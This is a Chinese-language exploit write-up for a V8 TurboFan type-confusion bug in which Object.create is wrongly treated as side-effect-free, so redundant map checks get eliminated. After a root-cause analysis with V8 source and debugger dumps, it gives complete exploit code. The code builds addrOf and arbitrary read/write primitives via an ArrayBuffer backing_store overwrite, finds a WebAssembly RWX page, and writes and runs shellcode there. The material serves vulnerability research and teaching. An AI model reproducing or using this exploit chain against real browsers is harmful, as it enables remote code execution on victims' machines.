前言

环境搭建

git reset --hard 568979f4d891bafec875fab20f608ff9392f4f29
gclient sync
./tools/dev/gm.py x64.release
./tools/dev/gm.py x64.debug

推断优化(speculative optimization)

推断优化指的TurboFan 利用之前字节码运行时收集的信息进行优化,最主要的策略是假设对象的类型仍然是之前运行时的对象类型,因此通过对象的map ( hidden class )直接通过偏移来访问相应的属性。

优化测试代码:

function foo(o) {
        return o.a + o.b;
}

生成的IR code如下:

CheckHeapObject o
    CheckMap o, map1
    r0 = Load [o + 0x18]

    CheckHeapObject o
    CheckMap o, map1
    r1 = Load [o + 0x20]

    r2 = Add r0, r1
    CheckNoOverflow
    Return r2

当进行IR优化时,因为对象o不变,第二次的 CheckMap o, map1是冗余的,优化进行消除,变成下面这样:

CheckHeapObject o
    CheckMap o, map1
    r0 = Load [o + 0x18]
    r1 = Load [o + 0x20]

    r2 = Add r0, r1
    CheckNoOverflow
    Return r2

优化会造成,第二次访问[o + 0x20]时没有进行类型检查。

漏洞分析

漏洞位于src/compiler/js-operator.cc:625,对JSCreateObject操作的判断:

#define CACHED_OP_LIST(V) \
... ...
V(CreateObject, Operator::kNoWrite, 1, 1) \
... ...

漏洞函数调用链:

CreateObject
	->LowerJSCreateObject
		->kCreateObjectWithoutProperties
			->Runtime::kObjectCreate
                ->JSObject::ObjectCreate
                    ->Map::GetObjectCreateMap
                        ->if (prototype->IsJSObject())
                        ->if (!js_prototype->map()->is_prototype_map())
                        ->JSObject::OptimizeAsPrototype(js_prototype); // 进行优化
							->JSObject::NormalizeProperties
                                ->Map::Normalize
                                    ->new_map = Map::CopyNormalized(isolate, fast_map,mode);//生成新的map
										->RawCopy
                                        ->result->set_is_dictionary_map(true);//设置 dictionary 标志位
								->MigrateToMap(object, new_map,expected_additional_properties);
									->MigrateFastToSlow(object, new_map,expected_additional_properties);
										// 将object从原来的map迁移到new_map中,从而导致对象map的改变

在执行如下代码后,Object a的map的确从fast mode变成了Dictionary

let a = {x : 1};
%DebugPrint(a);
Object.create(a);
%DebugPrint(a);

该漏洞可以影响一个Object的结构,将其模式修改为Directory。(dictionary mode类似于hash表存储,结构较复杂。fast mode是简单的结构体模式)

关键函数:

// src/objects.cc:6436
void JSObject::NormalizeProperties(Handle<JSObject> object,
PropertyNormalizationMode mode,
int expected_additional_properties,
const char* reason) {
	if (!object->HasFastProperties()) return;
	Handle<Map> map(object->map(), object->GetIsolate());
	Handle<Map> new_map = Map::Normalize(object->GetIsolate(), map, mode, reason);
	MigrateToMap(object, new_map, expected_additional_properties);
}

JSObject::MigrateToMap 调用了MigrateFastToSlow ,将对象迁移到了DictionaryProperties :

// src/objects.cc:4514
void JSObject::MigrateToMap(Handle<JSObject> object, Handle<Map> new_map,
int expected_additional_properties) {
	if (object->map() == *new_map) return;
	Handle<Map> old_map(object->map(), object->GetIsolate());
	NotifyMapChange(old_map, new_map, object->GetIsolate());
	if (old_map->is_dictionary_map()) {
		...
	} else if (!new_map->is_dictionary_map()) {
		...
	} else {
		MigrateFastToSlow(object, new_map, expected_additional_properties);
	}
	// Careful: Don't allocate here!
	// For some callers of this method, |object| might be in an inconsistent
	// state now: the new map might have a new elements_kind, but the object's
	// elements pointer hasn't been updated yet. Callers will fix this, but in
	// the meantime, (indirectly) calling JSObjectVerify() must be avoided.
	// When adding code here, add a DisallowHeapAllocation too.
}

之后进行IR优化,消除冗余的checkpoint:

CheckpointElimination::Reduce
	->CheckpointElimination::ReduceCheckpoint
		->IsRedundantCheckpoint // 检查同路径上是否有冗余的checkpoint
        	->effect->op()->HasProperty(Operator::kNoWrite)
        	// 当结点是Operator::kNoWrite,说明此map没有effect,继续遍历,(v8的认为Object.create函数是kNoWrite)
        	->if (effect->opcode() == IrOpcode::kCheckpoint) return true;
			// 如果后面仍然是IrOpcode::kCheckpoint,认为该checkpoint是冗余,返回true,可消除
        ->Replace(NodeProperties::GetEffectInput(node));

IsRedundantCheckpoint函数如下:

// The given checkpoint is redundant if it is effect-wise dominated by another
// checkpoint and there is no observable write in between. For now we consider
// a linear effect chain only instead of true effect-wise dominance.
bool IsRedundantCheckpoint(Node* node) {
	Node* effect = NodeProperties::GetEffectInput(node);
	while (effect->op()->HasProperty(Operator::kNoWrite) &&	effect->op()->EffectInputCount() == 1) {
        // 当结点是Operator::kNoWrite,说明此map没有effect,继续遍历
			if (effect->opcode() == IrOpcode::kCheckpoint) return true;
        	// 如果后面仍然是IrOpcode::kCheckpoint,认为该checkpoint是冗余,返回true,可消除
			effect = NodeProperties::GetEffectInput(effect);
		}
	return false;
}

Reduction CheckpointElimination::ReduceCheckpoint(Node* node) {
	DCHECK_EQ(IrOpcode::kCheckpoint, node->opcode());
	if (IsRedundantCheckpoint(node)) {
		return Replace(NodeProperties::GetEffectInput(node));
	}
	return NoChange();
}

Reduction CheckpointElimination::Reduce(Node* node) {
	DisallowHeapAccess no_heap_access;
	switch (node->opcode()) {
		case IrOpcode::kCheckpoint:
		return ReduceCheckpoint(node);
	default:
		break;
	}
	return NoChange();
}

poc 代码,对Object.create函数进行测试:

let a = {x:1, y:2, z:3};
a.b = 4;
a.c = 5;
a.d = 6;

%DebugPrint(a);
%SystemBreak();
Object.create(a);
%DebugPrint(a);
%SystemBreak();

Object.create(a); 之前:

image-20200729175055916

从上图中可以看出:x,y,z被保存在结构体内部,而b,c,d 是保存在properties中。属性值的存储顺序是固定的。

Object.create(a); 之后:

image-20200729182929022

属性被打乱都保存在elements中,每个数据占16字节,前8字节代表属性名,后8字节代表属性值。

调试poc可以看到通过调用Object.create()会将对象由[FastProperties]模式改为[DictionaryProperties]模式,并且之前保存的属性也会进行打乱,导致固定偏移上的内存的数据发生改变。

综上可以总结该漏洞利用了v8的两个特性:

(1)调用Object.create(),将对象由[FastProperties]模式改为[DictionaryProperties]模式,造成访问成员时,固定偏移上的内存的数据发生改变,访问到其他成员或其他数据。

(2)IR优化,当第二次访问同一个对象的成员时,消除“冗余的“的类型检查,结合(1)就可以构造如下的Poc,造成访问对象的一个成员时,其实是访问其它数据,并且该数据可以是另一个类型的对象,因为已经消除了类型检查。

PoC 代码:

const NUM_PROPERTIES = 32;
const MAX_ITERATIONS = 100000;
function check_vuln(){
	function hax(o) {
		// forced a map check
		o.inline; // 访问一次对象o,这样第二次才可能消除类型检查
		// change the map, but v8 think it has no side-effect
		Object.create(o);
		return o.outline;
	}
	for (let i=0; i<MAX_ITERATIONS; i++){
		let o = {inline: 0x6666};
		o.outline = 0x7777;
		if(hax(o) !== 0x7777) { // 经过hax函数,o已经变成hash无序状态,并且触发了优化的话,就按固定偏移访问o.outline,但o已经是hash无序状态,所以固定偏移上的数据已经不是0x7777了,此时我们并不知道是什么数据。
			return;
		}
	}
	throw "[-] Not vulnerable"
}
check_vuln();
print("[+] v8 version is vulnerable");

触发漏洞前,没有调用Object.create前,此时o.outline位于properties+0x10处偏移,为0x7777:

image-20200804200955780

调用Object.create后,变成hash无序,此时properties+0x10处偏移为0x2,触发漏洞进行优化,o.outline仍按之前的偏移进行访问,值为0x2,不等于0x7777,显示有漏洞。

image-20200804200807547

漏洞利用

通过上述PoC代码可以看到,触发漏洞后会按固定偏移访问对象o的属性,但DictionaryProperties是一个hash表,各属性的偏移位置并不固定,所以访问一个固定偏移的数据得到的结果是随机的。进行漏洞利用需要用到v8的另一个特性,相同属性构造的Object,在DictionaryProperties中的偏移是相同的,PoC代码如下:

let a1 = {x : 1,y:2,z:3};
a1.b = 4;
a1.c = 5;
a1.d = 6;
let a2 = {x : 2,y:3,z:4};
a2.b = 7;
a2.c = 8;
a2.d = 9;
Object.create(a1);
%DebugPrint(a1);
Object.create(a2);
%DebugPrint(a2);
%SystemBreak();

通过调试可以发现a1,a2虽然属性值不同,但在Properties中属性名相同的仍存在同一位置。即只要各属性名相同,对象的内存里各个属性所在的位置都是固定的。

pwndbg> job 0x135d0948e229
0x135d0948e229: [JS_OBJECT_TYPE]
 - map: 0x2bfa4fa0cbb1 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]
 - prototype: 0x0580d5d846d9 <Object map = 0x2bfa4fa022f1>
 - elements: 0x2b96c5a82cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x135d0948e591 <NameDictionary[53]> {
   #y: 2 (data, dict_index: 2, attrs: [WEC])
   #z: 3 (data, dict_index: 3, attrs: [WEC])
   #b: 4 (data, dict_index: 4, attrs: [WEC])
   #d: 6 (data, dict_index: 6, attrs: [WEC])
   #c: 5 (data, dict_index: 5, attrs: [WEC])
   #x: 1 (data, dict_index: 1, attrs: [WEC])
 }
pwndbg> job 0x135d0948e539
0x135d0948e539: [JS_OBJECT_TYPE]
 - map: 0x2bfa4fa0cc51 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]
 - prototype: 0x0580d5d846d9 <Object map = 0x2bfa4fa022f1>
 - elements: 0x2b96c5a82cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x135d0948e781 <NameDictionary[53]> {
   #y: 3 (data, dict_index: 2, attrs: [WEC])
   #z: 4 (data, dict_index: 3, attrs: [WEC])
   #b: 7 (data, dict_index: 4, attrs: [WEC])
   #d: 9 (data, dict_index: 6, attrs: [WEC])
   #c: 8 (data, dict_index: 5, attrs: [WEC])
   #x: 2 (data, dict_index: 1, attrs: [WEC])
 }

pwndbg> x/10gx 0x135d0948e591-1+0x38
0x135d0948e5c8:	0x00002b96c5a825a1	0x00002b96c5a825a1
0x135d0948e5d8:	0x00002b96c5a825a1	0x00002b96c5a825a1
0x135d0948e5e8:	0x00002b96c5a825a1	0x00002b96c5a825a1
0x135d0948e5f8:	0x00002401a4406959	0x0000000200000000
0x135d0948e608:	0x000002c000000000	0x00002b96c5a825a1
pwndbg> 
0x135d0948e618:	0x00002b96c5a825a1	0x00002b96c5a825a1
0x135d0948e628:	0x00002401a4406971	0x0000000300000000
0x135d0948e638:	0x000003c000000000	0x00002b96c5a825a1
0x135d0948e648:	0x00002b96c5a825a1	0x00002b96c5a825a1
0x135d0948e658:	0x00002b96c5a825a1	0x00002b96c5a825a1
pwndbg> x/10gx 0x135d0948e781-1+0x38
0x135d0948e7b8:	0x00002b96c5a825a1	0x00002b96c5a825a1
0x135d0948e7c8:	0x00002b96c5a825a1	0x00002b96c5a825a1
0x135d0948e7d8:	0x00002b96c5a825a1	0x00002b96c5a825a1
0x135d0948e7e8:	0x00002401a4406959	0x0000000300000000
0x135d0948e7f8:	0x000002c000000000	0x00002b96c5a825a1
pwndbg> 
0x135d0948e808:	0x00002b96c5a825a1	0x00002b96c5a825a1
0x135d0948e818:	0x00002401a4406971	0x0000000400000000
0x135d0948e828:	0x000003c000000000	0x00002b96c5a825a1
0x135d0948e838:	0x00002b96c5a825a1	0x00002b96c5a825a1
0x135d0948e848:	0x00002b96c5a825a1	0x00002b96c5a825a1

利用上述特性,可以找到一对用于类型混淆,相互对应的属性名一直使用,比如这次访问p1,由于漏洞访问到p4,那么新建一个各个属性相同的对象,访问p1, 因为访问固定偏移,这个偏移填的就是p4,所以还是访问到p4。 如果没有这个特性,那么这次p1对应p4,下次就不一定对应p4了。

漏洞利用步骤:

(1)找到一对相互对应的属性名

首先设置有规律的键值对:{‘pi’ => -i },经过Object.create后,变成无序的hash表,利用propertyNames.map对键值对排个序,返回的r数组是按照pi进行排序的,未触发漏洞前是按照键值对{‘pi’ => -i }排列的:

pwndbg> job 0x368e3b799919
0x368e3b799919: [JSArray]
 - map: 0x2ec2a5184fa1 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x127403a93b61 <JSArray[0]>
 - elements: 0x368e3b799949 <FixedArray[48]> [PACKED_ELEMENTS]
 - length: 48
 - properties: 0x3a3f0b402cf1 <FixedArray[0]> {
    #length: 0x1e9af6f952c1 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x368e3b799949 <FixedArray[48]> {
           0: 0x3a3f0b4025a1 <undefined>
           1: -1
           2: -2
           3: -3
           4: -4
           5: -5
           6: -6
           7: -7
           8: -8
           9: -9
          10: -10
			……

进行优化,触发漏洞后,按之前pi的固定偏移进行访问,得到的键值对是混乱的,但可以找到一对属性是相互对应,如下,访问p6,其实是按之前p6的偏移进行访问,此时填充的是p39的值,造成的影响就是访问p6其实访问的是p39。

pwndbg> job 0x281c5060f511
0x281c5060f511: [JSArray]
 - map: 0x29e5d3984fa1 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x283b0ed93b61 <JSArray[0]>
 - elements: 0x281c5060f381 <FixedArray[48]> [PACKED_ELEMENTS]
 - length: 48
 - properties: 0x1a4826f82cf1 <FixedArray[0]> {
    #length: 0x2b92c37952c1 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x281c5060f381 <FixedArray[48]> {
           0: 49
           1: 0
           2: 128
           3: 50
           4: 0
           5: 0x283b0eda7239 <String[3]: p39>
           6: -39
           7: 10736
        8-16: 0x1a4826f825a1 <undefined>
			……

查找属性对的代码如下:

function makeObj(propertyValues) {
    let o = {inline: 0x1234};
    for (let i = 0; i < obj_len; i++) {
        Object.defineProperty(o, 'p' + i, {
            writable: true,
            value: propertyValues[i]
        });
    }
    return o;
}


function findoverlap(){
	let propertyNames = [];
	for(let i=0; i < obj_len; i++){
		propertyNames[i] = 'p' + i;
	}

	eval(`
		function hax(o){
			o.a;
			this.Object.create(o);
			${propertyNames.map((p) => `let ${p}=o.${p};`).join('\n')}
			return [${propertyNames.join(', ')}];
		}
	`);
	let p_Values = [];
	for(let i=1; i< obj_len; i++){
		p_Values[i] = -i;
	}
	for(let i=0; i< 10000; i++){
		let objs = makeObj(p_Values);
		let r = hax(objs);
		for(let j=1; j < r.length; j++){
			if(j != -r[j] && r[j] < 0 && r[j] > -obj_len){
				console.log('p'+ j +' & p' + -(r[j]) +" are collision in directory");	
				[p1, p2] = [j, -r[j]];
				return;
			}
		}
	}
	
	throw "not found collision ";
}

(2)构造addOf原语

找到相对应的属性对p1, p2后,将p1和p2赋值成两个新对象,为后面的类型混淆做准备:

p_Values[p1] = {x1:23.33, x2: 33.44};
p_Values[p2] = {y1: obj};

此时访问o.p1.x1就是访问o.p2.y1,所以读取o.p1.x1,就可以将obj地址当成浮点数进行泄露。

addOf原语代码如下:

function addrOf(obj)
{
	eval(`
		function hax(o){
			o.a;
			this.Object.create(o);
			return o.p${p1}.x1;
		}

	`);
	let p_Values = [];
	p_Values[p1] = {x1:23.33, x2: 33.44};
	p_Values[p2] = {y1: obj};
	
	for(let i=0; i < 10000; i++){
		let objs = makeObj(p_Values);
		let leakAddr = hax(objs);
		if(leakAddr !== 23.33){
			return f2i(leakAddr) - 1;
		}
	}
	throw "addrOf failed!";
}

(3)构造任意地址读写原语

通过覆盖ArrayBuffer->backing_store指针来构造任意地址读写原语,同上述相似,o.p1.x2对应着data_buf->backing_store

image-20200805113843250

覆盖ArrayBuffer->backing_store指针的代码如下:

var data_buf = new ArrayBuffer(0x200);
var data_view = new DataView(data_buf);

function write_databuf(addr)
{
	eval(`
		function hax(o, addr){
			o.a;
			this.Object.create(o);
			o.p${p1}.x2 = addr; // 将目标地址覆盖ArrayBuffer->backing_store指针
			return o.p${p1}.x1; // 返回o.p1.x1 用于判断是否此时漏洞已经触发,这样才能保证o.p1.x2此时对应着data_buf->backing_store
			
		}

	`);
	let p_Values = [];
	p_Values[p1] = {x1:23.33, x2: 33.44};
	p_Values[p2] = data_buf;
	
	for(let i=0; i < 10000; i++){
		p_Values[p1] = {x1:23.33, x2: 33.44};
		let objs = makeObj(p_Values);
		let x1 = hax(objs, i2f(addr));
		if(x1 !== 23.33){
			return;
		}
	}
	throw "write_databuf failed!";
}

//----- arbitrary read

function dataview_read64(addr)
{
	write_databuf(addr);
	return f2i(data_view.getFloat64(0, true));
}

//----- arbitrary write
function dataview_write(addr, payload)
{
	write_databuf(addr);
	for(let i=0; i < payload.length; i++)
	{
		data_view.setUint8(i, payload[i]);
	}
}

(4)最后通过wasm_function->wasm_shared_info->wasm_data->wasm_instance 找到rwx的区域,将shellcode写入该区域即可完成利用。

exp 代码:

var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var Uint32 = new Uint32Array(buf);
function f2i(f)
{
	float64[0] = f;
	let tmp = Array.from(Uint32);
	return tmp[1] * 0x100000000 + tmp[0]; 
}

function i2f(i)
{
	let tmp = [];
	tmp[0] = parseInt(i % 0x100000000);
	tmp[1] = parseInt((i-tmp[0]) / 0x100000000);
	Uint32.set(tmp);
	return float64[0];
}

function hex(i)
{
	return i.toString(16).padStart(16, "0");
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var wasm_function = wasmInstance.exports.main;

let p1, p2;
let obj_len = 0x30;

function makeObj(propertyValues) {
    let o = {inline: 0x1234};
    for (let i = 0; i < obj_len; i++) {
        Object.defineProperty(o, 'p' + i, {
            writable: true,
            value: propertyValues[i]
        });
    }
    return o;
}

function findoverlap(){
	let propertyNames = [];
	for(let i=0; i < obj_len; i++){
		propertyNames[i] = 'p' + i;
	}

	eval(`
		function hax(o){
			o.a;
			this.Object.create(o);
			${propertyNames.map((p) => `let ${p}=o.${p};`).join('\n')}
			return [${propertyNames.join(', ')}];
		}
	`);
	let p_Values = [];
	for(let i=1; i< obj_len; i++){
		p_Values[i] = -i;
	}
	for(let i=0; i< 10000; i++){
		let objs = makeObj(p_Values);
		let r = hax(objs);
		for(let j=1; j < r.length; j++){
			if(j != -r[j] && r[j] < 0 && r[j] > -obj_len){
				console.log('p'+ j +' & p' + -(r[j]) +" are collision in directory");	
				[p1, p2] = [j, -r[j]];
				return;
			}
		}
	}
	
	throw "not found collision ";
}

findoverlap();

function addrOf(obj)
{
	eval(`
		function hax(o){
			o.a;
			this.Object.create(o);
			return o.p${p1}.x1;
		}

	`);
	let p_Values = [];
	p_Values[p1] = {x1:23.33, x2: 33.44};
	p_Values[p2] = {y1: obj};
	
	for(let i=0; i < 10000; i++){
		let objs = makeObj(p_Values);
		let leakAddr = hax(objs);
		if(leakAddr !== 23.33){
			return f2i(leakAddr) - 1;
		}
	}
	throw "addrOf failed!";
}

var data_buf = new ArrayBuffer(0x200);
var data_view = new DataView(data_buf);

function write_databuf(addr)
{
	eval(`
		function hax(o, addr){
			o.a;
			this.Object.create(o);
			o.p${p1}.x2 = addr; 
			return o.p${p1}.x1;
			
		}

	`);
	let p_Values = [];
	p_Values[p1] = {x1:23.33, x2: 33.44};
	p_Values[p2] = data_buf;
	
	for(let i=0; i < 10000; i++){
		p_Values[p1] = {x1:23.33, x2: 33.44};
		let objs = makeObj(p_Values);
		let x1 = hax(objs, i2f(addr));
		if(x1 !== 23.33){
			return;
		}
	}
	throw "write_databuf failed!";
}

//----- arbitrary read

function dataview_read64(addr)
{
	write_databuf(addr);
	return f2i(data_view.getFloat64(0, true));
}

//----- arbitrary write
function dataview_write(addr, payload)
{
	write_databuf(addr);
	for(let i=0; i < payload.length; i++)
	{
		data_view.setUint8(i, payload[i]);
	}
}

//-----  find wasm_code_rwx_addr 

var wasm_function_addr = addrOf(wasm_function);
console.log("[+] wasm_function_addr: 0x" + hex(wasm_function_addr));	

var wasm_shared_info = dataview_read64(wasm_function_addr + 0x18);
console.log("[+] find wasm_shared_info : 0x" + hex(wasm_shared_info));

var wasm_data = dataview_read64(wasm_shared_info -1 + 0x8);
console.log("[+] find wasm_data : 0x" + hex(wasm_data));

var wasm_instance = dataview_read64(wasm_data -1 + 0x10);
console.log("[+] find wasm_instance : 0x" + hex(wasm_instance));

var wasm_rwx = dataview_read64(wasm_instance + -1 + 0xf0);
console.log("[+] find wasm_rwx : 0x" + hex(wasm_rwx));

//write shellcode to wasm
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];

dataview_write(wasm_rwx, shellcode);

wasm_function();

运行效果图:

image-20200804174633497

参考链接

https://xz.aliyun.com/t/5413

https://bugs.chromium.org/p/chromium/issues/detail?id=888923